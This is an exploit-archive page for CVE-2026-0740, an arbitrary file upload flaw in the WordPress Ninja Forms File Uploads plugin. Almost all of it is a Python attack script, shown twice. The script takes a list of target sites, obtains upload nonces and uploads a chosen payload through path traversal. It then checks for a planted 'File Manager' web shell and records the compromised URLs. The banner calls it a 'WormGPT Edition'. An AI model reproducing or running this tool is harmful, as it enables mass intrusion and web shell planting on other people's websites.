9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
WordPress Ninja Forms - File Uploads plugin versions 3.3.26 and below arbitrary file upload exploit...
Basic Information
ID
PACKETSTORM:220896
Published
May 12, 2026 at 00:00
Affected Product
Affected Versions
#!/usr/bin/env python3
"""
Ninja Forms Upload - CVE-2026-0740
Author : Xenon1337
"""
from __future__ import annotations
import pathlib
import random
import sys
import re
from datetime import datetime
from functools import partialmethod
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
import httpx
from bs4 import BeautifulSoup
# --------------------------------------------------------------- Constants ---
AGENT = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
)
TIMEOUT = 10
DEFAULT_THREADS = 10
# ====================== CONFIGURASI PATH TRAVERSAL ======================
# GANTI DI SINI SESUAI KEBUTUHAN BOS (selalu pakai forward slash /)
DEST_TRAVERSAL = "../../../../"
# =======================================================================
# ------------------------------------------------------------------- Utils ---
class Logger:
COLORS = {
"error": 31,
"success": 32,
"warning": 33,
"info": 34,
}
def log(self, level: str, scope: str, message: str, progress=False):
color = self.COLORS[level]
date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
end = "\r" if progress else "\n"
sys.stderr.write(
"\r\033[{}m[{}] [{}] [{}] [{}]\033[0m {}{}".format(
color, date, time, level, scope, message, end
)
)
warning = partialmethod(log, "warning")
error = partialmethod(log, "error")
success = partialmethod(log, "success")
info = partialmethod(log, "info")
def normalize_url(target: str) -> list[str]:
target = target.strip().rstrip("/")
if re.match(r'^https?://', target, re.IGNORECASE):
return [target]
return [f"https://{target}", f"http://{target}"]
def load_targets(targets_file: str | None) -> list[str]:
if not targets_file:
return []
path = pathlib.Path(targets_file)
if not path.is_file():
return []
all_targets = set()
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
all_targets.add(line)
return list(all_targets)
# ----------------------------------------------------------------- Exploit ---
def validate_uploaded_file(file_url: str, headers: dict, timeout: float, logger: Logger) -> bool:
try:
with httpx.Client(
follow_redirects=False,
headers=headers,
verify=False,
timeout=timeout
) as http_client:
response = http_client.get(file_url)
if response.status_code != 200:
logger.warning("validation", "Status bukan 200 di {} → {}".format(file_url, response.status_code))
return False
if "File Manager" in response.text or "<title>File Manager</title>" in response.text:
logger.success("validation", "█ FILE MANAGER DETECTED █ {}".format(file_url))
return True
else:
logger.warning("validation", "Marker File Manager TIDAK ditemukan di {}".format(file_url))
return False
except Exception as e:
logger.error("validation", "Error saat validasi {}: {}".format(file_url, e))
return False
def single_exploit(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float) -> tuple[bool, str]:
ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
field_id = "".join(random.choices("123456789", k=16))
try:
with httpx.Client(
follow_redirects=False,
headers=headers,
verify=False,
timeout=timeout
) as http_client:
# Step 1: Dapatkan nonce
data = {"action": "nf_fu_get_new_nonce", "field_id": field_id}
response = http_client.post(ajax_url, data=data)
if response.text == "0":
return False, ""
json_result = response.json()
if not json_result.get("success"):
return False, ""
nonce = json_result["data"]["nonce"]
# Step 2: Upload dengan path traversal (FORWARD SLASH SELALU)
files_key = "files-{}".format(field_id)
dest_path_str = "{}{}".format(DEST_TRAVERSAL, file_path.name)
files = {files_key: ("image.jpg", file_path.read_bytes(), "image/jpeg")}
data = {
"action": "nf_fu_upload",
"nonce": nonce,
"form_id": field_id,
"field_id": field_id,
"image_jpg": dest_path_str
}
response = http_client.post(ajax_url, data=data, files=files)
json_result = response.json()
if json_result.get("data") and json_result["data"].get("files"):
uploaded_tmp_name = json_result["data"]["files"][0]["tmp_name"]
if uploaded_tmp_name == dest_path_str:
file_url = urljoin(target, "/wp-content/uploads/ninja-forms/tmp/{}".format(dest_path_str))
if validate_uploaded_file(file_url, headers, timeout, logger):
return True, file_url
except Exception as e:
logger.error("exploit", "Error pada {}: {}".format(target, e))
return False, ""
def exploit_worker(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float):
protocols = normalize_url(target)
for proto_target in protocols:
logger.info("exploit", "[THREAD] Menyerang {} ...".format(proto_target))
success, file_url = single_exploit(proto_target, file_path, logger, headers, timeout)
if success:
logger.success("exploit", "BERHASIL + VALIDASI FILE MANAGER LOLOS! → {}".format(file_url))
return proto_target, file_url
else:
logger.warning("exploit", "Gagal di {}, mencoba protokol berikutnya...".format(proto_target))
return None, None
# -------------------------------------------------------------------- Main ---
def main():
logger = Logger()
print("\n" + "═" * 90)
print("Ninja Forms Upload - CVE-2026-0740 [WormGPT Edition - PROXY DIHAPUS]")
print("═" * 90)
print("\n[1] Input your list of targets (file atau manual URL)")
targets_input = input("Input your list : ").strip()
targets = []
if targets_input:
path = pathlib.Path(targets_input)
if path.is_file():
targets = load_targets(targets_input)
logger.success("target_loading", "Loaded {} targets dari file".format(len(targets)))
else:
targets = [t.strip() for t in re.split(r'[,;\s]+', targets_input) if t.strip()]
logger.success("target_loading", "Loaded {} targets dari input manual".format(len(targets)))
if not targets:
logger.error("target_loading", "Tidak ada target yang diberikan!")
return 1
print("\n[2] Input your payload file")
while True:
file_input = input("Input your file : ").strip()
file_path = pathlib.Path(file_input)
if file_path.is_file():
break
else:
logger.error("file_loading", "File tidak ditemukan: {}".format(file_path))
headers = {"User-Agent": AGENT}
logger.success("main", "Total target: {} | Threads: {} | Traversal: {}".format(len(targets), DEFAULT_THREADS, DEST_TRAVERSAL))
success_results = []
with ThreadPoolExecutor(max_workers=DEFAULT_THREADS) as executor:
future_to_target = {
executor.submit(exploit_worker, target, file_path, logger, headers, TIMEOUT): target
for target in targets
}
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
success_target, file_url = future.result()
if success_target and file_url:
success_results.append("{} => {}".format(success_target, file_url))
with open("vuln_ninja.txt", "a", encoding="utf-8") as f:
f.write("{}\n".format(file_url))
except Exception as e:
logger.error("thread", "Thread error pada {}: {}".format(target, e))
if success_results:
logger.success("main", "Hasil disimpan di vuln_ninja.txt")
for res in success_results:
logger.success("main", res)
else:
logger.error("main", "TIDAK ADA TARGET YANG BERHASIL + VALID.")
return 0 if success_results else 1
if __name__ == "__main__":
sys.exit(main())
"""
Ninja Forms Upload - CVE-2026-0740
Author : Xenon1337
"""
from __future__ import annotations
import pathlib
import random
import sys
import re
from datetime import datetime
from functools import partialmethod
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
import httpx
from bs4 import BeautifulSoup
# --------------------------------------------------------------- Constants ---
AGENT = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
)
TIMEOUT = 10
DEFAULT_THREADS = 10
# ====================== CONFIGURASI PATH TRAVERSAL ======================
# GANTI DI SINI SESUAI KEBUTUHAN BOS (selalu pakai forward slash /)
DEST_TRAVERSAL = "../../../../"
# =======================================================================
# ------------------------------------------------------------------- Utils ---
class Logger:
COLORS = {
"error": 31,
"success": 32,
"warning": 33,
"info": 34,
}
def log(self, level: str, scope: str, message: str, progress=False):
color = self.COLORS[level]
date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
end = "\r" if progress else "\n"
sys.stderr.write(
"\r\033[{}m[{}] [{}] [{}] [{}]\033[0m {}{}".format(
color, date, time, level, scope, message, end
)
)
warning = partialmethod(log, "warning")
error = partialmethod(log, "error")
success = partialmethod(log, "success")
info = partialmethod(log, "info")
def normalize_url(target: str) -> list[str]:
target = target.strip().rstrip("/")
if re.match(r'^https?://', target, re.IGNORECASE):
return [target]
return [f"https://{target}", f"http://{target}"]
def load_targets(targets_file: str | None) -> list[str]:
if not targets_file:
return []
path = pathlib.Path(targets_file)
if not path.is_file():
return []
all_targets = set()
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
all_targets.add(line)
return list(all_targets)
# ----------------------------------------------------------------- Exploit ---
def validate_uploaded_file(file_url: str, headers: dict, timeout: float, logger: Logger) -> bool:
try:
with httpx.Client(
follow_redirects=False,
headers=headers,
verify=False,
timeout=timeout
) as http_client:
response = http_client.get(file_url)
if response.status_code != 200:
logger.warning("validation", "Status bukan 200 di {} → {}".format(file_url, response.status_code))
return False
if "File Manager" in response.text or "<title>File Manager</title>" in response.text:
logger.success("validation", "█ FILE MANAGER DETECTED █ {}".format(file_url))
return True
else:
logger.warning("validation", "Marker File Manager TIDAK ditemukan di {}".format(file_url))
return False
except Exception as e:
logger.error("validation", "Error saat validasi {}: {}".format(file_url, e))
return False
def single_exploit(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float) -> tuple[bool, str]:
ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
field_id = "".join(random.choices("123456789", k=16))
try:
with httpx.Client(
follow_redirects=False,
headers=headers,
verify=False,
timeout=timeout
) as http_client:
# Step 1: Dapatkan nonce
data = {"action": "nf_fu_get_new_nonce", "field_id": field_id}
response = http_client.post(ajax_url, data=data)
if response.text == "0":
return False, ""
json_result = response.json()
if not json_result.get("success"):
return False, ""
nonce = json_result["data"]["nonce"]
# Step 2: Upload dengan path traversal (FORWARD SLASH SELALU)
files_key = "files-{}".format(field_id)
dest_path_str = "{}{}".format(DEST_TRAVERSAL, file_path.name)
files = {files_key: ("image.jpg", file_path.read_bytes(), "image/jpeg")}
data = {
"action": "nf_fu_upload",
"nonce": nonce,
"form_id": field_id,
"field_id": field_id,
"image_jpg": dest_path_str
}
response = http_client.post(ajax_url, data=data, files=files)
json_result = response.json()
if json_result.get("data") and json_result["data"].get("files"):
uploaded_tmp_name = json_result["data"]["files"][0]["tmp_name"]
if uploaded_tmp_name == dest_path_str:
file_url = urljoin(target, "/wp-content/uploads/ninja-forms/tmp/{}".format(dest_path_str))
if validate_uploaded_file(file_url, headers, timeout, logger):
return True, file_url
except Exception as e:
logger.error("exploit", "Error pada {}: {}".format(target, e))
return False, ""
def exploit_worker(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float):
protocols = normalize_url(target)
for proto_target in protocols:
logger.info("exploit", "[THREAD] Menyerang {} ...".format(proto_target))
success, file_url = single_exploit(proto_target, file_path, logger, headers, timeout)
if success:
logger.success("exploit", "BERHASIL + VALIDASI FILE MANAGER LOLOS! → {}".format(file_url))
return proto_target, file_url
else:
logger.warning("exploit", "Gagal di {}, mencoba protokol berikutnya...".format(proto_target))
return None, None
# -------------------------------------------------------------------- Main ---
def main():
logger = Logger()
print("\n" + "═" * 90)
print("Ninja Forms Upload - CVE-2026-0740 [WormGPT Edition - PROXY DIHAPUS]")
print("═" * 90)
print("\n[1] Input your list of targets (file atau manual URL)")
targets_input = input("Input your list : ").strip()
targets = []
if targets_input:
path = pathlib.Path(targets_input)
if path.is_file():
targets = load_targets(targets_input)
logger.success("target_loading", "Loaded {} targets dari file".format(len(targets)))
else:
targets = [t.strip() for t in re.split(r'[,;\s]+', targets_input) if t.strip()]
logger.success("target_loading", "Loaded {} targets dari input manual".format(len(targets)))
if not targets:
logger.error("target_loading", "Tidak ada target yang diberikan!")
return 1
print("\n[2] Input your payload file")
while True:
file_input = input("Input your file : ").strip()
file_path = pathlib.Path(file_input)
if file_path.is_file():
break
else:
logger.error("file_loading", "File tidak ditemukan: {}".format(file_path))
headers = {"User-Agent": AGENT}
logger.success("main", "Total target: {} | Threads: {} | Traversal: {}".format(len(targets), DEFAULT_THREADS, DEST_TRAVERSAL))
success_results = []
with ThreadPoolExecutor(max_workers=DEFAULT_THREADS) as executor:
future_to_target = {
executor.submit(exploit_worker, target, file_path, logger, headers, TIMEOUT): target
for target in targets
}
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
success_target, file_url = future.result()
if success_target and file_url:
success_results.append("{} => {}".format(success_target, file_url))
with open("vuln_ninja.txt", "a", encoding="utf-8") as f:
f.write("{}\n".format(file_url))
except Exception as e:
logger.error("thread", "Thread error pada {}: {}".format(target, e))
if success_results:
logger.success("main", "Hasil disimpan di vuln_ninja.txt")
for res in success_results:
logger.success("main", res)
else:
logger.error("main", "TIDAK ADA TARGET YANG BERHASIL + VALID.")
return 0 if success_results else 1
if __name__ == "__main__":
sys.exit(main())